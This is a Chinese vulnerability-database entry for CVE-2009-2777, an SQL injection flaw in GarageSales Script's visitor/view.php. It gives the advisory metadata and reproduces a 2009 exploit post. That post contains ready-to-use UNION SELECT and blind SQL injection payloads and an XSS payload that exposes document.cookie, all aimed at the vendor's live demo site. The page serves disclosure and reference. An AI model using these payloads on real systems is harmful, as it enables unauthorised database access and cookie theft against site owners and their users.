GarageSales Script 'visitor/view.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118198 漏洞类型 SQL注入
发布时间 2009-07-27 更新时间 2009-08-14
CVE编号 CVE-2009-2777 CNNVD-ID CNNVD-200908-195
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9262
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-195
|漏洞详情
GarageSalesScript中的visitor/view.php存在SQL注入漏洞。远程攻击者可以借助key参数,执行任意的SQL指令。
|漏洞EXP
###########################################################################
#-----------------------------I AM MUSLIM !!------------------------------#
###########################################################################

==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             

==============================================================================
        [»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
==============================================================================
        [»] GarageSales Script Multiple Remote Vulnerabilities
==============================================================================

	[»] Script:             [ GarageSales Script ]
	[»] Language:           [ PHP ]
        [»] Download:           [ http://www.garagesalesjunkie.com/  ]
	[»] Founder:            [ Moudi <m0udi@9.cn> ]
        [»] Thanks to:          [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
        [»] Team:               [ EvilWay ]
        [»] Dork:               [ OFF ]
        [»] Price:              [ $40.00 USD ]
        [»] Site :              [ https://security-shell.ws/forum.php ]

###########################################################################

===[ Exploit + LIVE : SQL INJECTION vulnerability ]===

[»] http://www.site.com/patch/view.php?key=[SQL]

[»]http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===	
	
[»] http://www.site.com/patch/view.php?key=[BLIND]

[»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key=1 and     11=null+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

===[ Exploit XSS + LIVE : vulnerability ]===

[»] http://www.site.com/patch/view.php?key=[XSS]

[»] http://www.garagesalesjunkie.com/tryit/visitor/view.php?key="><script>alert(document.cookie);</script>.

Author: Moudi

###########################################################################

# milw0rm.com [2009-07-27]
|参考资料

来源:XF
名称:garagesalesjunkie-view-sql-injection(52034)
链接:http://xforce.iss.net/xforce/xfdb/52034
来源:VUPEN
名称:ADV-2009-2023
链接:http://www.vupen.com/english/advisories/2009/2023
来源:OSVDB
名称:56578
链接:http://www.osvdb.org/56578
来源:MILW0RM
名称:9262
链接:http://www.milw0rm.com/exploits/9262
来源:SECUNIA
名称:36017
链接:http://secunia.com/advisories/36017